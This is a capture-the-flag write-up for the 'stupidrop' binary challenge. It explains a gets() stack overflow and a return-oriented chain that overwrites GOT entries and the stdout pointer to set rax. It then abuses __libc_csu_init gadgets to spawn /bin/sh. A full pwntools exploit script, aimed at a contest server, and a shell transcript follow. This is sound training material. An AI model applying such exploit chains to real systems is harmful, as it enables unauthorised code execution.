stupidrop
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partialvoid main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
alarm(2);
gets(buffer);
}So, we have an obvious buffer overflow here, but no possibility to leak anything and ASLR is enabled for sure.
Since this is the only function in the binary, we also don’t have many libc functions we can abuse
objdump -TR stupidrop
stupidrop: file format elf64-x86-64
...
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601048 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5This challenge could be solved only with these at hand (in fact, there’s a similar on pwnable.tw for example, which only provides gets). But the challenge was made easier on purpose by forging one syscall gadget into the code.
Though it’s never called, you can find it at 0x40063e.
With syscall, we could just start creating our ropchain and do an execve("/bin/sh", 0, 0), though you’ll face the problem how to set rax to an arbitrary value.
To make this short: While the ctf was running I missed the fact that calling alarm will set rax to the value of the argument passed to it. That should be the intended way, because it’s way easier, than what I did here.
So, if you want to see the shortest and easiest solution to this task, go look somewhere else…
Since I missed the easy way out by using alarm, I created an ropchain instead, which will also be able to set rax to an arbitrary value, but in a bit more “creative” way.
For this let’s take a look at the assembly of main:
push rbp
mov rbp, rsp
sub rsp, 30h
mov rax, cs:stdout
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
mov edi, 2 ; seconds
call _alarm
lea rax, [rbp+var_30]
mov rdi, rax
mov eax, 0
call _gets
mov eax, 0
leave
retnSo, not much too work with, but we can abuse this code for setting rax.
What I did there:
- Overwrite
setvbufgot with a call toret - Overwrite
alarmgot with a call topop rbp; ret - Overwrite
stdoutpointer with 59 (execve syscall) - In the ropchain jump to
mov rax, cs:stdout
What this will do:
mov rax, cs:stdoutSet rax to 59
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbufSet exc to 0, set edx to 2 and esi to 0. It will then store the value of rax into rdi (so rdi also contains 59).
It will then try to call setvbuf, but since it’s now just a ret call it will just continue with execution.
mov edi, 2 ; seconds
call _alarmThis will now set edi to 2 and do a call alarm, which will push the current address onto the stack (for returning after the call). But since we overwrote it with pop rbp; ret it will just pop this return address and instead continue execution with the next address in our ropchain.
But now rax will contain the value we wrote into stdout, so it’s 59 now and we’re prepared to do an execve syscall :)
Well, calling alarm twice with 59 in rdi might have been easier, but…
Though rax now is set correctly, we’re facing another issue. rdx is now set to 2 which will fail in execve, since this will be the envptr. And there’s no pop rdx gadget to change this.
But there’s also help to this :)
There’s a nice gadget in __libc_csu_init which will get us out of this misery:
0x400680
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]Not only will this help us setting rdx, it also initializes rsi and rdi and does a call to r12+rbx*8. Since rbx is currently 0, we can call whatever we want by setting r12 accordingly (we’ll just need a memory address where the address, we want to call, is stored, but gets will also help on this).
So we can also use the pop gadget in __libc_csu_init also to initialize r12-r15
0x40069c
pop r12
pop r13
pop r14
pop r15
retnSo, with these tools we can forge the attack plan
- Store
/bin/shin bss - Store a pointer to the
syscallgadget in bss - Overwrite
setvbufwithret - Overwrite
alarmwithpop rbp; ret - Overwrite
stdoutwith59 - Jump back into main, so the “setvbuf-alarm-rax-initialization-chain” gets triggered :)
- Call the r12-r15 initialization gadget and setup the registers
- Call the “calling” gadget from
__lib_csu_initwhich will setuprdx,rsi,rdiand then call the previously storedsyscallgadget
Exploit for this
#!/usr/bin/python
from pwn import *
import sys
HOST = "104.196.127.247"
PORT = 5555
POPRDI = 0x00000000004006a3
POPRBP = 0x0000000000400560
SYSCALL = 0x000000000040063e
RET = 0x0000000000400289
POPR12131415 = 0x000000000040069c
CALLGAD = 0x400680
def read_into(address):
result = p64(POPRDI)
result += p64(address)
result += p64(e.plt["gets"])
return result
def exploit(r):
payload = "A"*56
payload += read_into(0x6010b0) # store /bin/sh
payload += read_into(0x601130) # store ptr to SYSCALL
payload += read_into(e.got["setvbuf"]) # overwrite setvbuf
payload += read_into(0x601048) # overwrite stdout ptr
payload += read_into(e.got["alarm"]) # overwrite alarm
payload += p64(POPRDI)
payload += p64(0x601500)
payload += p64(0x4005fe) # execute 'rax update'
payload += p64(POPR12131415)
payload += p64(0x601130) # ptr to syscall
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x6010b0) # /bin/sh
payload += p64(CALLGAD) # call execution gadget
r.sendline(payload)
# Send the data to answer the gets-calls from the ropchain
r.sendline("/bin/sh\x00") # store /bin/sh on bss
r.sendline(p64(SYSCALL)) # store ptr to syscall
r.sendline(p64(RET)) # overwrite setvbuf with ret
r.sendline(p64(59)) # overwrite stdout with execve syscall no
r.sendline(p64(POPRBP)) # overwrite alarm with popret
# enjoy shell
r.interactive()
return
if __name__ == "__main__":
e = ELF("./stupidrop")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./stupidrop")
print util.proc.pidof(r)
pause()
exploit(r)python work.py
[*] '/vagrant/Challenges/inctf/pwn/stupidrop/stupidrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './stupidrop': pid 1980
[1980]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ whoami
vagrantI know, there’s an easier solution to this challenge, just wanted to show this alternative way of setting rax (which might get handy if there’s no alarm but another call, that can be overwritten).